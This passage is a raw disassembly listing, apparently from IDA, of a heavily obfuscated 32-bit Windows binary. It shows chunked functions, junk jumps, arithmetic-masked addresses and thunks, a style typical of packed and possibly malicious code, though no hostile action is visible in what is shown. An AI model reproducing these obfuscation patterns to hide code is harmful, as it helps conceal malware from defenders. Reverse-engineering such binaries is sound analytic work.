sub_100150BD:loc_10016699j and edx, 0EF6ABC2Fh add edx, 0B2DC883Ah xor edx, 0C2702722h push offset loc_1001772F jmp nullsub_202 ; END OF FUNCTION CHUNK FOR sub_100150BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10016EE5: ; CODE XREF: sub_100194EA+9E7j mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_1001A8D6 ; END OF FUNCTION CHUNK FOR sub_100194EA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10016EFA: ; CODE XREF: sub_10016D66-2248j jmp sub_100177EF ; --------------------------------------------------------------------------- loc_10016EFF: ; CODE XREF: an.kk9rg:100185B2j ; sub_10016D66:loc_100195B5j add esi, 43F8808Ch xchg esi, [esp+0] jmp loc_1001661B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10016F0E: ; CODE XREF: an.kk9rg:loc_10017211j ; sub_10016D04:loc_1001A4DAj jmp loc_1001A64B ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- locret_10016F13: ; CODE XREF: an.kk9rg:loc_10019430j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_10016F14: ; CODE XREF: sub_1001767A-583j jmp sub_10015CBE ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10016F19: ; CODE XREF: sub_100190DC+96Ej and eax, 13FEF1A7h sub eax, 247ED4DDh or eax, 0E4EBE157h add eax, 56D81116h add eax, ebp add eax, 0B93BF107h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_100192FC ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ja loc_10015785 jmp sub_1001ABAE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10016F4F: ; CODE XREF: sub_10015988+8j jmp loc_100148FC ; --------------------------------------------------------------------------- loc_10016F54: ; CODE XREF: sub_10015988+329Bj jb loc_1001A665 add ecx, 6E2FBFA9h ; END OF FUNCTION CHUNK FOR sub_10015988 ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10016F60: ; CODE XREF: sub_1001B5A3:loc_100131B9j ; sub_100151FD+9j ... jmp loc_1001DF12 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10016F65: ; CODE XREF: sub_1001B5A3:loc_1001334Ej ; an.kk9rg:1001C855j pop ecx jmp loc_100192E6 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- loc_10016F6B: ; DATA XREF: sub_1001C185-5F08o add eax, ebp add eax, 9C79DE40h mov eax, [eax] call sub_1001B3CA ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10016F7A: ; CODE XREF: an.kk9rg:loc_100148ABj ; sub_10015B5D+5E5Fj jmp loc_1001D6F4 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_10016F7F proc near ; CODE XREF: an.kk9rg:10017600j ; DATA XREF: vyridizn:off_10002030o push esi push 9421A627h pop esi rol esi, 16h jmp loc_1001944E sub_10016F7F endp ; --------------------------------------------------------------------------- loc_10016F8E: ; CODE XREF: an.kk9rg:1001683Aj xor edx, 7C181B62h call sub_10015402 ; START OF FUNCTION CHUNK FOR sub_1001664C loc_10016F99: ; CODE XREF: sub_1001664C+549Dj jmp loc_100158E6 ; END OF FUNCTION CHUNK FOR sub_1001664C ; --------------------------------------------------------------------------- loc_10016F9E: ; CODE XREF: an.kk9rg:10016E40j mov ebp, [ecx] ; =============== S U B R O U T I N E ======================================= sub_10016FA0 proc near ; CODE XREF: sub_100194EA+23D8p ; FUNCTION CHUNK AT 1001B1EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C19C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D7BE SIZE 0000001A BYTES xchg edi, [esp+0] pop edi call sub_100142E8 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_1001C19C sub_10016FA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esi, 6A5F1CD4h cmp eax, 110D445Dh jmp loc_10013993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10016FC5: ; CODE XREF: sub_100178C9-377Cj jnz loc_10014EC3 jmp loc_10016A5C ; END OF FUNCTION CHUNK FOR sub_100178C9 ; =============== S U B R O U T I N E ======================================= sub_10016FD0 proc near ; DATA XREF: sub_10015792-1E2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100143B7 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10014EF1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10015758 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 100172A2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100172FE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100174AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C84 SIZE 00000005 BYTES cmp byte ptr [eax], 0F1h jnz loc_10017309 jmp loc_10017C84 sub_10016FD0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016FDE: ; CODE XREF: sub_10013389+2930j mov [esi], edx or edi, 8F3BECDFh loc_10016FE6: ; CODE XREF: sub_10013389:loc_10015CA8j xor eax, 0C28889F5h add eax, ebp add eax, 0C289186Eh mov eax, [eax] push esi jmp loc_10014885 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10016FFC: ; CODE XREF: sub_10019595-2D46j ; an.kk9rg:loc_1001897Cj push 9EE4D31Dh pop eax xor eax, 10F6D22Fh add eax, 7042F201h add eax, ebp push esi push 9AEC12A0h jmp loc_100163F0 ; END OF FUNCTION CHUNK FOR sub_10019595 ; =============== S U B R O U T I N E ======================================= sub_1001701B proc near ; CODE XREF: sub_10013389:loc_1001AD9Fp ; an.kk9rg:1001B38Ej var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10014827 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10016362 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10016F60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017B23 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017E63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001A0D1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001ADA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D8ED SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001DF12 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_1001ADA9 sub_1001701B endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001702E: ; CODE XREF: sub_1001B096-6EF9j adc ebx, eax cmp ebp, 55C07CE3h jmp loc_10016CDF ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013359 loc_1001703B: ; CODE XREF: sub_10013359:loc_1001A9BCj jz loc_10016556 mov [ebp+var_8], 1 ; END OF FUNCTION CHUNK FOR sub_10013359 ; START OF FUNCTION CHUNK FOR sub_100150A4 loc_10017048: ; CODE XREF: sub_100182D9:loc_100196FDj ; sub_100150A4:loc_1001A62Bj mov eax, [ebp-8] pop ecx jmp loc_1001654E ; END OF FUNCTION CHUNK FOR sub_100150A4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190EB loc_10017052: ; CODE XREF: sub_100190EB+3BD6j jmp loc_1001D329 ; END OF FUNCTION CHUNK FOR sub_100190EB ; --------------------------------------------------------------------------- loc_10017057: ; CODE XREF: an.kk9rg:10017E28j jmp locret_10015102 ; --------------------------------------------------------------------------- loc_1001705C: ; CODE XREF: an.kk9rg:10018573j jns sub_10018776 cmp edx, 2A218DD1h jmp loc_100153C4 ; --------------------------------------------------------------------------- mov edx, 0B242B436h call sub_1001543A ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_10017077: ; CODE XREF: sub_10018AB1+2934j jmp loc_1001BA64 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001707C: ; CODE XREF: sub_10013389:loc_10018273j jnz loc_1001396C jmp loc_10015B9F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- sub ebp, edx jmp loc_1001DF2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001708E: ; CODE XREF: sub_100190DC:loc_1001D05Aj push offset loc_1001CD18 jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C61 loc_10017098: ; CODE XREF: sub_10018C61:loc_10016C58j mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001B7CA call nullsub_5 ; END OF FUNCTION CHUNK FOR sub_10018C61 ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_100170AF: ; CODE XREF: sub_10016D04:loc_10013AD1j ; sub_10018C4D:loc_10016DBEj jo loc_1001CCA0 xor eax, eax jmp loc_10017ACD ; END OF FUNCTION CHUNK FOR sub_10018C4D ; =============== S U B R O U T I N E ======================================= sub_100170BC proc near ; CODE XREF: sub_10015988+4CE3j ; an.kk9rg:1001AC12p ; FUNCTION CHUNK AT 10019FFA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001DAD8 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 902DFD6Bh pop ebx or ebx, 0AF73B907h xor ebx, 0C2008979h jmp loc_10019FFA sub_100170BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100170D7: ; CODE XREF: an.kk9rg:loc_1001D095j imul byte ptr [edx] cmp al, 0A4h jz loc_10017F60 jmp loc_1001C4DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100170E6: ; CODE XREF: sub_10016D04:loc_10019803j jp nullsub_100 jmp loc_100154BF ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_100170F1: ; CODE XREF: sub_1001767A:loc_1001847Bj jnz loc_1001448E jmp loc_10016F14 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100170FC: ; CODE XREF: sub_10013389:loc_10017C24j test esi, 10h jmp loc_10017E0A ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_10017107: ; CODE XREF: an.kk9rg:loc_10014C9Ej ; sub_10019D80+A2Cj push edx or eax, 0D570221Ah jmp loc_10019CBD ; END OF FUNCTION CHUNK FOR sub_10019D80 ; --------------------------------------------------------------------------- loc_10017113: ; CODE XREF: an.kk9rg:1001C70Ej xchg eax, ebx rol ebx, 0Ch ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10017118: ; CODE XREF: sub_1001893F+3DAEj add edx, 40373AA7h xor edx, 67C7ED51h add edx, ebp add edx, 5FD2DCA7h mov edx, [edx] jmp loc_10013AF7 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10017133: ; DATA XREF: an.kk9rg:100160E0o imul byte ptr [edx] cmp al, 0A4h jz loc_10017F60 jmp loc_1001C5F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_10017142: ; CODE XREF: sub_10017667+2692j sub al, 99h mov edx, [ebp-4] push offset loc_1001DD00 jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_10017151: ; CODE XREF: sub_10013310+7985j jz loc_10014C83 jmp loc_10015CA1 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015743 loc_1001715C: ; CODE XREF: sub_10015743+10j xor edi, 0FABF321Dh add edi, ebp add edi, 67BB71Eh push offset sub_10017CB9 jmp loc_10014BDC ; END OF FUNCTION CHUNK FOR sub_10015743 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10017174 proc near ; CODE XREF: sub_10017DC3-1AF9j retn sub_10017174 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10017175: ; CODE XREF: sub_10015C77-2BD5j mov eax, 9CD91F03h jmp loc_10014872 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001717F: ; CODE XREF: sub_10013389+92B3j cmp dword ptr [eax-14h], 4 jnz loc_1001AE94 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 call sub_10013688 loc_10017195: ; CODE XREF: sub_10014189+3ED8j jl loc_100150DB not ecx mov edi, edx sbb ecx, 50A0A2A0h sub ecx, edi jmp loc_1001CE4E ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100171AC: ; CODE XREF: sub_1001564A:loc_100197CEj add eax, 2318B66Bh push offset loc_10019E4E jmp loc_10019D7B ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_100171BC: ; CODE XREF: sub_10015C14+453Dj mov eax, edi mov edx, [ecx] push 0D48D27A2h loc_100171C5: ; CODE XREF: sub_1001679F:loc_10013748j call sub_100180C2 mov edx, 0F2B89A19h jmp loc_1001AD50 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100171D4: ; CODE XREF: sub_10013389:loc_1001CEF4j sub edi, 44D42535h jmp loc_1001431D ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CEDD loc_100171DF: ; CODE XREF: sub_1001CEDD:loc_10017DDEj mov byte ptr [eax], 0C3h jmp loc_1001661B ; END OF FUNCTION CHUNK FOR sub_1001CEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100143F5 loc_100171E7: ; CODE XREF: sub_100143F5+2227j mov eax, [esp-4+arg_0] push ebp mov ebp, edx xchg ebp, [esp+0] call sub_1001D461 mov eax, 6E3A3857h jmp loc_1001356E ; END OF FUNCTION CHUNK FOR sub_100143F5 ; --------------------------------------------------------------------------- adc eax, esi jmp sub_10014A06 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100192D0 loc_10017207: ; CODE XREF: sub_100192D0+8j jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_100192D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100186DF loc_1001720C: ; CODE XREF: sub_100186DF+9j jmp sub_10014B85 ; END OF FUNCTION CHUNK FOR sub_100186DF ; --------------------------------------------------------------------------- loc_10017211: ; CODE XREF: an.kk9rg:100193EDj jns loc_10016F0E ; =============== S U B R O U T I N E ======================================= sub_10017217 proc near ; CODE XREF: sub_100142E8+4543p ; FUNCTION CHUNK AT 1001A9D4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001ACA0 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push eax mov eax, edi xchg eax, [esp+0] push eax jmp loc_1001ACA0 sub_10017217 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017227: ; CODE XREF: an.kk9rg:100197DDj pop ecx xchg ecx, [esp] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001722C: ; CODE XREF: an.kk9rg:1001C106j push 993FABB9h pop eax or eax, 30E7F7F0h jmp loc_100148CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001723D: ; CODE XREF: sub_100189D7:loc_10016DFDj ; sub_100189D7+40EBj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100169A6 jmp loc_1001750E ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- loc_1001724E: ; CODE XREF: an.kk9rg:10017253j ; DATA XREF: vyridizn:off_10002034o call sub_1001725E jmp ds:off_10002034 ; --------------------------------------------------------------------------- loc_10017259: ; CODE XREF: an.kk9rg:100151BEj jmp loc_10017B92 ; =============== S U B R O U T I N E ======================================= sub_1001725E proc near ; CODE XREF: an.kk9rg:loc_10016075j ; an.kk9rg:loc_1001724Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001528F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10015FD8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016DE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100179C3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10017D68 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10017EF3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017F88 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018A46 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100195BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B1A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D2C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D991 SIZE 00000016 BYTES pop edx jnz loc_10017F88 mov eax, [esp-4+arg_0] push ecx mov ecx, edx xchg ecx, [esp+0] jmp loc_1001B1A3 sub_1001725E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10017273 proc near ; CODE XREF: sub_10016A1B+3D0Dp ; an.kk9rg:1001AD19j xchg esi, [esp+0] pop esi call sub_10019401 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 loc_10017283: ; CODE XREF: an.kk9rg:1001C68Ej push offset loc_1001D975 jmp nullsub_21 sub_10017273 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001728E: ; CODE XREF: sub_10013061+1Fj ; sub_10016D04:loc_1001B0F9j jmp loc_10014F29 ; END OF FUNCTION CHUNK FOR sub_10013061 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10017294: ; CODE XREF: sub_1001D461-9127j ; sub_10016D66:loc_1001BC14j add esi, 77204CD1h ; END OF FUNCTION CHUNK FOR sub_1001D461 ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001729A: ; CODE XREF: sub_1001CF40-3DB2j shl edx, 0Dh jmp loc_1001BB62 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_100172A2: ; CODE XREF: sub_10016FD0:loc_10017C84j jz loc_10017304 jmp loc_100174AB ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; --------------------------------------------------------------------------- cmp ebx, 0EDA49BF6h jmp loc_10015DAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB87 loc_100172B8: ; CODE XREF: sub_1001492C:loc_1001A571j ; sub_1001BB87:loc_1001BB94j jz loc_1001C7EE jmp loc_10017BC2 ; END OF FUNCTION CHUNK FOR sub_1001BB87 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_100172C4: ; CODE XREF: sub_1001CD85-702Bj jmp loc_100174B5 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D81C loc_100172C9: ; CODE XREF: sub_1001D81C:loc_100143B2j push ecx push 0BC3E6A73h pop ecx loc_100172D0: ; CODE XREF: sub_1001C9F8:loc_1001A046j and ecx, 0F70C3E75h xor ecx, 9E63622Ch add ecx, 0D590B7A7h add eax, ecx pop ecx jmp loc_10013FD4 ; END OF FUNCTION CHUNK FOR sub_1001D81C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100172EA: ; CODE XREF: sub_10013389+819j ; sub_10013389+4F3Aj mov eax, ds:dword_10019664 loc_100172EF: ; CODE XREF: sub_10013389:loc_1001B22Fj mov al, [eax] sub al, 99h mov edx, ds:dword_10019664 jmp loc_10018D34 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_100172FE: ; CODE XREF: sub_10016FD0-1876j jnz loc_100143B7 ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017304: ; CODE XREF: an.kk9rg:loc_10015364j ; sub_1001504E:loc_10015AF2j ... jmp loc_10017C2E ; --------------------------------------------------------------------------- loc_10017309: ; CODE XREF: sub_10016FD0+3j ; sub_1001A97E+6j xchg eax, [esp+0] mov ecx, eax pop eax pop ebp jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_10017315 proc near ; DATA XREF: sub_1001C535+AC0o rol eax, 12h push edx push offset sub_10014E17 jmp nullsub_131 sub_10017315 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D11D loc_10017323: ; CODE XREF: sub_1001D11D:loc_1001360Aj call nullsub_5 ; END OF FUNCTION CHUNK FOR sub_1001D11D ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10017328: ; CODE XREF: sub_100193F2+Aj mov eax, [ebp-4] call sub_1001AB5B test al, al jnz loc_10017A99 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10017338: ; CODE XREF: an.kk9rg:loc_100139B6j ; sub_1001679F+4j ... pop ecx pop ecx pop ebp jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- sbb esi, 0E1CDBC50h shr esi, 5 jmp sub_10016573 ; --------------------------------------------------------------------------- loc_1001734E: ; CODE XREF: an.kk9rg:1001A596j pop esi ; =============== S U B R O U T I N E ======================================= sub_1001734F proc near ; CODE XREF: sub_100145B9+225p ; FUNCTION CHUNK AT 1001641B SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx mov ax, [eax] and ax, 38FFh jmp loc_1001641B sub_1001734F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001735F: ; CODE XREF: sub_10013389:loc_100185FCj cmp ecx, 0BB6E0447h jmp loc_1001A6BB ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001736A: ; DATA XREF: sub_1001B9C1:loc_1001D4B2o mov eax, [ebp-4] movzx eax, byte ptr [eax] cmp ds:dword_1001BCAC[eax*4], 0 push offset sub_10016C92 jmp locret_1001AE2E ; --------------------------------------------------------------------------- loc_10017382: ; DATA XREF: sub_10016B29-DA4o pushf push 78EC5B27h xchg ecx, [esp] mov edi, ecx pop ecx jmp loc_1001BBA4 ; --------------------------------------------------------------------------- loc_10017393: ; CODE XREF: an.kk9rg:10019B56j push esi ; =============== S U B R O U T I N E ======================================= sub_10017394 proc near ; CODE XREF: an.kk9rg:1001AF03p ; FUNCTION CHUNK AT 100144BD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10014520 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001497B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001503C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001618E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10017AA8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10018583 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1001A67B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001A92C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CBCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF76 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DE0C SIZE 0000001B BYTES xchg ebx, [esp+0] pop ebx mov esp, ebp pop ebp mov eax, ds:dword_10018614 jmp loc_1001497B sub_10017394 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_100173A6: ; CODE XREF: sub_100174F4:loc_1001803Cj add ecx, 0B4C99F05h mov [ecx], eax pop ecx loc_100173AF: ; CODE XREF: an.kk9rg:10016B51j pushf push 0D36C5BD8h pop eax xor eax, ds:100000C5h or eax, 0D13F3A20h loc_100173C2: ; CODE XREF: sub_10018AB1+29A3j jmp loc_1001969F ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100173C7: ; CODE XREF: sub_1001B5A3-120Bj add edi, 409E8753h sub edi, 47F7FB4Bh add edi, 2955B445h xchg edi, [esp+0] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- not ecx js loc_100140DE jmp sub_10013389 ; --------------------------------------------------------------------------- add esp, 10h xchg edi, [esp] mov ebp, edi pop edi xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_100173FA proc near ; CODE XREF: sub_100136FF-82j ; an.kk9rg:1001545Ap ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014537 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100199C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5C6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B7A5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001D1A7 SIZE 00000005 BYTES jnb loc_10014537 push ebp jmp loc_1001A5C6 sub_100173FA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10017406: ; CODE XREF: sub_10015988:loc_10016E76j sub edi, 2C775140h mov esi, 0B03375Dh jmp loc_1001866F ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- test eax, 7596381Eh jmp loc_10019C15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E17 loc_10017421: ; CODE XREF: sub_10014E17+2B15j rol eax, 1Dh xor eax, 0D119625Eh loc_1001742A: ; CODE XREF: sub_1001893F+1B68j rol eax, 6 push offset loc_1001B2B9 jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_10014E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_10017437: ; CODE XREF: sub_1001C535:loc_1001434Aj jz loc_1001CFEB jmp loc_1001DA0E ; END OF FUNCTION CHUNK FOR sub_1001C535 ; =============== S U B R O U T I N E ======================================= sub_10017442 proc near ; DATA XREF: sub_100173FA+31CEo push ebx mov ebx, ecx push offset loc_1001AF00 jmp nullsub_23 sub_10017442 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001744F: ; CODE XREF: sub_1001BB72:loc_100187B6j pop ebx xchg ebx, [esp+4+var_4] mov [ebp+var_4], eax push 74082DB7h pop eax jmp loc_100168FC ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_10017461: ; CODE XREF: sub_1001D43B:loc_1001D4A3j pop ebx and ebx, 7127AB3Fh or ebx, 0EC03604Ch xor ebx, 6B4CC2F0h add ebx, 93633A07h add ebx, ebp call sub_100175DE pushf jmp loc_1001AAA4 ; END OF FUNCTION CHUNK FOR sub_1001D43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10017487: ; CODE XREF: sub_1001492C+5752j jnp loc_1001921B jmp loc_10015500 ; END OF FUNCTION CHUNK FOR 